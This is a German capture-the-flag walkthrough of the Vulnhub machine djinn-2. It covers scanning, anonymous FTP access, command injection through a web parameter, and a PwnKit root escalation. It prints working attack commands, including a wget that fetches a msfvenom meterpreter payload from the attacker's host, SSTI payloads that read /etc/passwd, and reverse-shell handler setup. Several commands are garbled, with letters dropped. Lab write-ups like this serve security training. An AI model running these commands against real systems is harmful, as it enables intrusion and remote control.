djinn-2 - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
wfuzz
dirb

Inhaltsverzeichnis

Reconnaissance

Wir beginnen mit der Reconnaissance, um Informationen über das Zielsystem zu sammeln. Dies umfasst das Scannen des Netzwerks und das Auflisten von Hosts, um potenzielle Angriffspunkte zu identifizieren.

┌──(root㉿CCat)-[~]
└─# ARP-Scan
192.168.2.106 08:00:27:ae:b2:ae PCS Systemtechnik GmbH

ARP-Scan zeigt uns die MAC-Adresse und den Hersteller der Netzwerkkarte des Ziels. Dies kann hilfreich sein, um das Betriebssystem oder die verwendete Virtualisierungstechnologie zu bestimmen.

┌──(root㉿CCat)-[~]
└─# /etc/hosts
192.168.2.106 djinn2.vln

Der Eintrag in der /etc/hosts-Datei ermöglicht uns, das Zielsystem über den Hostnamen `djinn2.vln` anzusprechen. Dies erleichtert die weitere Analyse und das Testen.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-22 21:33 CEST
Nmap scan report for djinn2.vln (192.168.2.106)
Host is up (0.00012s latency).
Not shown: 65530 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 0 0 14 Jan 12 2020 creds.txt
| -rw-r--r-- 1 0 0 280 Jan 19 2020 game.txt
|_-rw-r--r-- 1 0 0 275 Jan 19 2020 message.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ffff:192.168.2.199
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh penSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 22:3c:7f:28:79:44:01:ca:55:d2:48:6d:06:5d:cd:ac (RSA)
| 256 71:e4:82:a4:95:30:a0:47:d5:14:fe:3b:c0:10:6c:d8 (ECDSA)
|_ 256 ce:77:48:33:be:27:98:4b:5e:4d:62:2f:a3:33:43:a7 (ED25519)
1337/tcp open waste?
| fingerprint-strings:
| GenericLines:
| ____ _____ _
| ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___
| \x20/ _ \x20 | | | | '_ ` _ \x20/ _ \n| |_| | (_| | | | | | | __/ | | | | | | | | | __/
| ____|__,_|_| |_| |_|___| |_| |_|_| |_| |_|___|
| @0xmzfr, Thanks for hiring me.
| Since I know how much you like to play game. I'm adding another game in this.
| Math game
| Catch em all
| Exit
| Stop acting like a hacker for a damn minute!!
| NULL:
| ____ _____ _
| ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___
| \x20/ _ \x20 | | | | '_ ` _ \x20/ _ \n| |_| | (_| | | | | | | __/ | | | | | | | | | __/
| ____|__,_|_| |_| |_|___| |_| |_|_| |_| |_|___|
| @0xmzfr, Thanks for hiring me.
| Since I know how much you like to play game. I'm adding another game in this.
| Math game
| Catch em all
|_ Exit
5000/tcp open http Werkzeug httpd 0.16.0 (Python 3.6.9)
|_http-title: 405 Method Not Allowed
7331/tcp open http Werkzeug httpd 0.16.0 (Python 3.6.9)
|_http-server-header: Werkzeug/0.16.0 Python/3.6.9
|_http-title: Lost in space
MAC Address: 08:00:27:AE:B2:AE (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
S details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
TRACERUTE
HP RTT ADDRESS
1 0.12 ms djinn2.vln (192.168.2.106)

Nmap identifiziert offene Ports und Dienste auf dem Zielsystem. Besonders interessant sind: - FTP (Port 21): Anonymer Zugriff ist erlaubt, was möglicherweise sensible Daten offenlegt. - SSH (Port 22): Ermöglicht die sichere Fernanmeldung. - Port 1337: Ein benutzerdefinierter Dienst (waste?) mit einer interessanten Begrüßungsnachricht. - HTTP (Ports 5000 und 7331): Webserver, die möglicherweise anfällige Anwendungen hosten. Die Werkzeug-Versionen (Python 3.6.9) deuten auf veraltete Software hin, die bekannte Schwachstellen aufweisen könnte.

Web Enumeration

Nachdem wir die offenen Ports identifiziert haben, konzentrieren wir uns auf die Webserver, um weitere Informationen zu sammeln und potenzielle Schwachstellen zu finden.

┌──(root㉿CCat)-[~]
└─# nikto -h http://djinn2.vln:7331
- Nikto v2.5.0

+ Target IP: 192.168.2.106
+ Target Hostname: djinn2.vln
+ Target Port: 7331
+ Start Time: 2024-09-22 21:40:51 (GMT2)

+ Server: Werkzeug/0.16.0 Python/3.6.9
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /robots.txt: Server may leak inodes via ETags, header found with file /robots.txt, inode: 1579427054.3459656, size: 10, mtime: 1879312679. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Python/3.6.9 appears to be outdated (current is at least 3.9.6).
+ PTINS: Allowed HTTP Methods: GET, HEAD, PTINS .
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 7964 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time: 2024-09-22 21:41:12 (GMT2) (21 seconds)

+ 1 host(s) tested

Nikto findet verschiedene potenzielle Sicherheitsprobleme: - Fehlende X-Frame-Options und X-Content-Type-Options Header: Erhöhen das Risiko von Clickjacking- und MIME-Sniffing-Angriffen. - Veraltete Python-Version: Kann bekannte Schwachstellen enthalten. - Interessante Datei `/robots.txt`: Sollte weiter untersucht werden. - Unerwartete HTTP-Methode `PTINS`: Könnte auf eine benutzerdefinierte oder fehlerhafte Implementierung hindeuten. - Fund einer Datei `#wp-config.php#`: Dies ist höchstwahrscheinlich eine Backup-Datei, die sensible Informationen wie Datenbank-Zugangsdaten enthalten könnte.

┌──(root㉿CCat)-[~]
└─# nikto -h http://djinn2.vln:5000
- Nikto v2.5.0

+ Target IP: 192.168.2.106
+ Target Hostname: djinn2.vln
+ Target Port: 5000
+ Start Time: 2024-09-22 21:41:36 (GMT2)

+ Server: Werkzeug/0.16.0 Python/3.6.9
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Python/3.6.9 appears to be outdated (current is at least 3.9.6).
+ PTINS: Allowed HTTP Methods: PST, PTINS .
+ 7974 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time: 2024-09-22 21:42:02 (GMT2) (26 seconds)

+ 1 host(s) tested

Nikto findet auf Port 5000 ähnliche Probleme wie auf Port 7331: - Fehlende Header und veraltete Python-Version. - Auch hier die unerwartete HTTP-Methode `PTINS`, zusätzlich zu `PST`.

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://192.168.2.106:7331/source (Status: 200) [Size: 1280]
http://192.168.2.106:7331/robots.txt (Status: 200) [Size: 10]

Gobuster findet die Datei `/robots.txt` und das Verzeichnis `/source` auf Port 7331. `/source` könnte Quellcode der Anwendung enthalten, was bei der Suche nach Schwachstellen sehr hilfreich sein kann.

┌──(root㉿CCat)-[~]
└─# curl http://192.168.2.106:7331/robots.txt
/letshack

Die `/robots.txt` Datei verweist auf das Verzeichnis `/letshack`. Dies ist ein weiterer interessanter Pfad, den wir untersuchen sollten.

Initial Access

Nach der Enumeration der Webserver untersuchen wir den FTP-Server und versuchen, uns Zugriff auf das System zu verschaffen.

┌──(root㉿CCat)-[~]
└─# ftp 192.168.2.106
Connected to 192.168.2.106.
220 (vsFTPd 3.0.3)
Name (192.168.2.106:ccat): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||46276|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 115 4096 Jan 19 2020 .
drwxr-xr-x 2 0 115 4096 Jan 19 2020 ..
-rw-r--r-- 1 0 0 14 Jan 12 2020 creds.txt
-rw-r--r-- 1 0 0 280 Jan 19 2020 game.txt
-rw-r--r-- 1 0 0 275 Jan 19 2020 message.txt
226 Directory send K.
ftp>
ftp> put revshell.war
local: revshell.war remote: revshell.war
229 Entering Extended Passive Mode (|||49680|)
550 Permission denied.
ftp> cd /var
550 Failed to change directory.
ftp>

Wir verbinden uns anonym mit dem FTP-Server und listen die Dateien auf. Die Datei `creds.txt` könnte Zugangsdaten enthalten. Der Versuch, eine Reverse-Shell hochzuladen (`revshell.war`) scheitert aufgrund fehlender Berechtigungen. Auch der Versuch, das Verzeichnis zu wechseln, schlägt fehl.

┌──(root㉿CCat)-[~]
└─# wget -r ftp://anonymous:anonymous@192.168.2.106
--2024-09-22 21:48:40-- ftp://anonymous:*password*@192.168.2.106/
=> 192.168.2.106/.listing
Verbindungsaufbau zu 192.168.2.106:21 … verbunden.
Anmelden als anonymous … Angemeldet!.....
....
...

Da wir keine Dateien hochladen können, laden wir die vorhandenen Dateien mit `wget` herunter, um sie lokal zu analysieren.

┌──(root㉿CCat)-[~/192.168.2.106]
└─# ll
insgesamt 12
-rw-r--r-- 1 root root 14 12. Jan 2020 creds.txt
-rw-r--r-- 1 root root 280 19. Jan 2020 game.txt
-rw-r--r-- 1 root root 275 19. Jan 2020 message.txt

Wir überprüfen, ob die Dateien erfolgreich heruntergeladen wurden.

┌──(root㉿CCat)-[~/192.168.2.106]
└─# cat creds.txt
nitu:7846A$56

Die Datei `creds.txt` enthält möglicherweise Zugangsdaten für einen Benutzer. Wir notieren uns den Benutzernamen und das (gehashte) Passwort.

┌──(root㉿CCat)-[~/192.168.2.106]
└─# cat game.txt
@0xmzfr I would like to thank you for hiring me. I won't disappoint you like SAM.
Also I've started implementing the secure way of authorizing the access to our
network. I have provided @nitish81299 with the beta version of the key fob
hopes everything would be good.

- @Ugtan_

Die Datei `game.txt` enthält Hinweise auf Benutzer und möglicherweise eine "sichere" Authentifizierungsmethode.

┌──(root㉿CCat)-[~/192.168.2.106]
└─# cat message.txt
@nitish81299, you and sam messed it all up. I've fired sam for all the fuzz he created and
this will be your last warning if you won't put your shit together than you'll be gone as well.
I've hired @Ugtan_ as our new security head, hope he'll do something good.

- @0xmzfr

Die Datei `message.txt` bestätigt die Existenz der Benutzer `nitish81299` und `Ugtan_`.

┌──(root㉿CCat)-[~]
└─# nc -vv djinn2.vln 1337
djinn2.vln [192.168.2.106] 1337 (?) open
____ _____ _
/ ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___
| | _ / _` | '_ ` _ \ / _ \ | | | | '_ ` _ \ / _ \
| |_| | (_| | | | | | | __/ | | | | | | | | | __/
\____|\__,_|_| |_| |_|\___| |_| |_|_| |_| |_|\___|

Hey @0xmzfr, Thanks for hiring me.
Since I know how much you like to play game. I'm adding another game in this.
1. Math game
2. Catch em all
3. Exit
>

Wir verbinden uns mit dem Dienst auf Port 1337. Es scheint ein Spiel zu sein.

Proof of Concept: SSTI-Exploitation

Wir haben festgestellt, dass der Webserver auf Port 5000 anfällig für Server-Side Template Injection (SSTI) sein könnte. Um dies zu bestätigen, führen wir einen Proof of Concept (POC) durch.

┌──(root㉿CCat)-[~/Hackingtools/SSTImap]
└─# nc djinn2.vln 1337
____ _____ _
/ ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___
| | _ / _` | '_ ` _ \ / _ \ | | | | '_ ` _ \ / _ \
| |_| | (_| | | | | | | __/ | | | | | | | | | __/
\____|\__,_|_| |_| |_|\___| |_| |_|_| |_| |_|\___|

Hey @0xmzfr, Thanks for hiring me.
Since I know how much you like to play game. I'm adding another game in this.
1. Math game
2. Catch em all
3. Exit
> 1
I see you wanna do some Mathematics. I think you know the rule
Let's start then
6 / 2
> {{ ''.__class__.__mro__[2].__subclasses__() }}
Stop acting like a hacker for a damn minute!!

Wir versuchen, eine einfache SSTI-Payload im "Math game" zu injizieren. Der Server scheint dies jedoch zu erkennen und blockiert den Versuch.

┌──(root㉿CCat)-[~/Hackingtools/SSTImap]
└─# nc djinn2.vln 1337
____ _____ _
/ ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___
| | _ / _` | '_ ` _ \ / _ \ | | | | '_ ` _ \ / _ \
| |_| | (_| | | | | | | __/ | | | | | | | | | __/
\____|\__,_|_| |_| |_|\___| |_| |_|_| |_| |_|\___|

Hey @0xmzfr, Thanks for hiring me.
Since I know how much you like to play game. I'm adding another game in this.
1. Math game
2. Catch em all
3. Exit
> {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
Stop acting like a hacker for a damn minute!!

Wir versuchen eine komplexere Payload, um die `/etc/passwd` Datei auszulesen. Auch dieser Versuch wird blockiert.

Obwohl die Versuche im "Math game" fehlschlagen, deutet die Reaktion des Servers darauf hin, dass SSTI tatsächlich vorhanden sein könnte. Wir versuchen nun, die SSTI-Schwachstelle auf Port 5000 auszunutzen.

┌──(root㉿CCat)-[~/Hackingtools/SSTImap]
└─# curl -X POST http://djinn2.vln:5000/?username=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Wir senden eine POST-Anfrage an Port 5000 mit dem Parameter `username`, der den Befehl `id` enthält. Die Ausgabe zeigt, dass der Befehl erfolgreich ausgeführt wurde und wir als Benutzer `www-data` agieren.

┌──(root㉿CCat)-[~/Hackingtools/SSTImap]
└─# curl -X PST http://djinn2.vln:5000/?username=ls
app.py

Wir verwenden die HTTP-Methode `PST` (die Nikto zuvor als ungewöhnlich identifiziert hat) und senden den Befehl `ls`. Die Ausgabe zeigt, dass die Datei `app.py` vorhanden ist.

┌──(root㉿CCat)-[~/Hackingtools/SSTImap]
└─# curl -X PST http://djinn2.vln:5000/?username=ls%20/home
nitish
ugtan

Wir listen den Inhalt des `/home`-Verzeichnisses auf und finden die Benutzer `nitish` und `ugtan`.

┌──(root㉿CCat)-[~/Hackingtools/SSTImap]
└─# curl -X PST "http://djinn2.vln:5000/?username=cat%20/etc/passwd" -s | grep bash
root:x:0:0:root:/root:/bin/bash
nitish:x:1000:1000:nitish,,,:/home/nitish:/bin/bash
ugtan:x:1001:1001:umang taneja,,,:/home/ugtan:/bin/bash

Wir lesen die `/etc/passwd`-Datei und filtern die Benutzer heraus, die eine Bash-Shell verwenden. Dies bestätigt die Existenz der Benutzer `root`, `nitish` und `ugtan`.

Diese Befehle zeigen eindeutig, dass wir beliebige Befehle auf dem System ausführen können, was die Existenz einer SSTI-Schwachstelle bestätigt.

Privilege Escalation

Nachdem wir initialen Zugriff auf das System als `www-data` erhalten haben, versuchen wir, unsere Privilegien zu erhöhen, um Root-Zugriff zu erlangen.

┌──(root㉿CCat)-[~/shells]
└─# msfvenom -p linux/x86/meterpreter/reverse_tcp LHST=192.168.2.199 LPRT=9001 -f elf > eins.elf
[-] No platform was selected, choosing MsfModulePlatformLinux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 123 bytes
Final size of elf file: 207 bytes

Wir erstellen eine Reverse-TCP-Payload mit `msfvenom`, um eine Meterpreter-Session zu erhalten.

┌──(root㉿CCat)-[~]
└─# msfconsole -q
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLAD linux/x86/meterpreter/reverse_tcp
PAYLAD => linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost eth0
lhost => eth0
msf6 exploit(multi/handler) > set lport 9001
lport => 9001
msf6 exploit(multi/handler) > run

[-] Handler failed to bind to 0.0.0.0:9001:- -
[-] Exploit failed [bad-config]: RexBindFailed The address is already in use or unavailable: (0.0.0.0:9001).
[*] Exploit completed, but no session was created.
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.2.199:9001

Wir starten `msfconsole` und konfigurieren einen Handler, um die Reverse-Shell zu empfangen.

┌──(root㉿CCat)-[~]
└─# curl -X PST 'http://djinn2.vln:5000/?username=wget+http://192.168.2.199/eins.elf+-+/tmp/eins.elf'

Wir laden die Payload `eins.elf` über die SSTI-Schwachstelle auf das Zielsystem in das `/tmp`-Verzeichnis herunter.

┌──(root㉿CCat)-[~]
└─# curl -X PST 'http://djinn2.vln:5000/?username=ls+-la+/tmp/'
total 40
drwxrwxrwt 9 root root 4096 Sep 23 04:14 .
drwxr-xr-x 23 root root 4096 Dec 21 2019 ..
-rw-r--r-- 1 www-data www-data 207 Sep 23 04:11 eins.elf
drwxrwxrwt 2 root root 4096 Sep 23 04:06 .font-unix
drwxrwxrwt 2 root root 4096 Sep 23 04:06 .ICE-unix
drwx 3 root root 4096 Sep 23 04:06 systemd-private-777c2ae21ce841fcb7bd742404e58846-systemd-resolved.service-WDf0uF
drwx 3 root root 4096 Sep 23 04:06 systemd-private-777c2ae21ce841fcb7bd742404e58846-systemd-timesyncd.service-U2n7mE
drwxrwxrwt 2 root root 4096 Sep 23 04:06 .Test-unix
drwxrwxrwt 2 root root 4096 Sep 23 04:06 .X11-unix
drwxrwxrwt 2 root root 4096 Sep 23 04:06 .XIM-unix

Wir überprüfen, ob die Payload erfolgreich heruntergeladen wurde.

┌──(root㉿CCat)-[~]
└─# curl -X PST 'http://djinn2.vln:5000/?username=chmod+777+/tmp/eins.elf'

Wir ändern die Berechtigungen der Payload, um sie ausführbar zu machen.

┌──(root㉿CCat)-[~]
└─# curl -X PST 'http://djinn2.vln:5000/?username=ls+-la+/tmp/'
total 40
drwxrwxrwt 9 root root 4096 Sep 23 04:14 .
drwxr-xr-x 23 root root 4096 Dec 21 2019 ..
-rwxrwxrwx 1 www-data www-data 207 Sep 23 04:11 eins.elf
drwxrwxrwt 2 root root 4096 Sep 23 04:06 .font-unix
drwxrwxrwt 2 root root 4096 Sep 23 04:06 .ICE-unix
drwx 3 root root 4096 Sep 23 04:06 systemd-private-777c2ae21ce841fcb7bd742404e58846-systemd-resolved.service-WDf0uF
drwx 3 root root 4096 Sep 23 04:06 systemd-private-777c2ae21ce841fcb7bd742404e58846-systemd-timesyncd.service-U2n7mE
drwxrwxrwt 2 root root 4096 Sep 23 04:06 .Test-unix
drwxrwxrwt 2 root root 4096 Sep 23 04:06 .X11-unix
drwxrwxrwt 2 root root 4096 Sep 23 04:06 .XIM-unix

Wir überprüfen, ob die Berechtigungen erfolgreich geändert wurden.

┌──(root㉿CCat)-[~]
└─# curl -X PST 'http://djinn2.vln:5000/?username=/tmp/eins.elf'
[*] Started reverse TCP handler on 192.168.2.199:9001
[*] Sending stage (1017704 bytes) to 192.168.2.106
[*] Meterpreter session 1 opened (192.168.2.199:9001 -> 192.168.2.106:56812) at 2024-09-23 00:46:14 +0200

meterpreter >

Wir führen die Payload aus und erhalten eine Meterpreter-Session als `www-data`.

Nachdem wir eine Meterpreter-Session als `www-data` erhalten haben, suchen wir nach Möglichkeiten, unsere Privilegien zu erhöhen.

meterpreter > getuid
Server username: www-data

Wir überprüfen, dass wir als `www-data` angemeldet sind.

meterpreter > search suggester
[-] You must specify a valid file glob to search for, e.g. >search -f *.doc meterpreter >

Wir versuchen, den `search suggester` zu verwenden, um nach Exploits zu suchen, die zur Privilegienerhöhung geeignet sind.

msf6 exploit(multi/handler) > search suggester
Matching Modules

# Name Disclosure Date Rank Check Description
---------------------------------------------------------------------------------------------------------------------------------------
0 post/multi/recon/local_exploit_suggester . normal No Multi Recon Local Exploit Suggester


Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester

Wir verwenden den `local_exploit_suggester`, um potenzielle lokale Exploits zu identifizieren.

msf6 exploit(multi/handler) > use 0
msf6 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf6 post(multi/recon/local_exploit_suggester) > set lport 5555
[!] Unknown datastore option: lport.
lport => 5555
msf6 post(multi/recon/local_exploit_suggester) > run

[*] 192.168.2.106 - Collecting local exploits for x86/linux...
[*] 192.168.2.106 - 196 exploit checks are being tried...
[+] 192.168.2.106 - exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec: The target is vulnerable.
[+] 192.168.2.106 - exploit/linux/local/docker_cgroup_escape: The target is vulnerable. IF host S is Ubuntu, kernel version 4.15.0-20-generic is vulnerable
[+] 192.168.2.106 - exploit/linux/local/nested_namespace_idmap_limit_priv_esc: The target appears to be vulnerable.
[+] 192.168.2.106 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[+] 192.168.2.106 - exploit/linux/local/pkexec: The service is running, but could not be validated.
[+] 192.168.2.106 - exploit/linux/local/su_login: The target appears to be vulnerable.
[*] Running check method for exploit 49 / 64

Der `local_exploit_suggester` identifiziert mehrere potenzielle Exploits, darunter `cve_2021_4034_pwnkit_lpe_pkexec` (PwnKit).

lpe_pkexecmulti/recon/local_exploit_suggester) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 5556
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 1
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lhost eth0
lhost => eth0
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run

[*] Started reverse TCP handler on 192.168.2.199:5556
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.zlxcyofxt
[+] The target is vulnerable.
[*] Writing '/tmp/.zhnnwocrup/jfczsowxpqhk/jfczsowxpqhk.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.zhnnwocrup
[*] Sending stage (3045380 bytes) to 192.168.2.106
[+] Deleted /tmp/.zhnnwocrup/jfczsowxpqhk/jfczsowxpqhk.so
[+] Deleted /tmp/.zhnnwocrup/.vibnhmd
[+] Deleted /tmp/.zhnnwocrup
[*] Meterpreter session 2 opened (192.168.2.199:5556 -> 192.168.2.106:52258) at 2024-09-23 00:50:15 +0200

Wir verwenden den PwnKit-Exploit, um Root-Privilegien zu erlangen.

meterpreter > getuid
Server username: root

**Fantastisch! Der Root-Zugriff war erfolgreich! Nun haben wir unser Ziel erreicht!** Wir überprüfen, dass wir jetzt als `root` angemeldet sind.

Proof of Concept: Root-Zugriff erlangt

Der folgende Befehl zeigt, dass Root-Privilegienerlangung über den PwnKit Exploit erfolgt ist.

meterpreter > shell
Process 1280 created.
Channel 2 created.
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)

Der Befehl id zeigt, dass die aktuelle UID 0 ist, was bedeutet, dass der Benutzer Root-Rechte hat.

./proof.sh
TERM environment variable not set.
./proof.sh: line 9: figlet: command not found
djinn-2 pwned...
__________________________________________________________________________

Proof: cHduZWQgZGppbm4tMiBsaWtlIGEgYm9zcwo=
Path: /root
Date: Mon Sep 23 04:21:33 IST 2024
Whoami: root
__________________________________________________________________________

By @0xmzfr

Thanks to my fellow teammates in @m0tl3ycr3w for betatesting! :-)

If you enjoyed this then consider donating (https://mzfr.github.io/donate/)
so I can continue to make these kind of challenges.

Das Skript proof.sh bestätigt den erfolgreichen Root-Zugriff.

Flags

cat user.txt userflag
cat root.txt rootflag